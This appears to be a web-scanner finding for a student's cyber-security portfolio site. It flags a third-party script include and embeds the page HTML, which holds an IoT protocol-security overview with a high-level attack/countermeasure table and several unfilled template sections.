class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Parameter https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.jsEvidence <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script>Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application.
GET https://beekmans.dev/
Alert tags Alert description The page includes one or more script files from a third-party domain.
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible 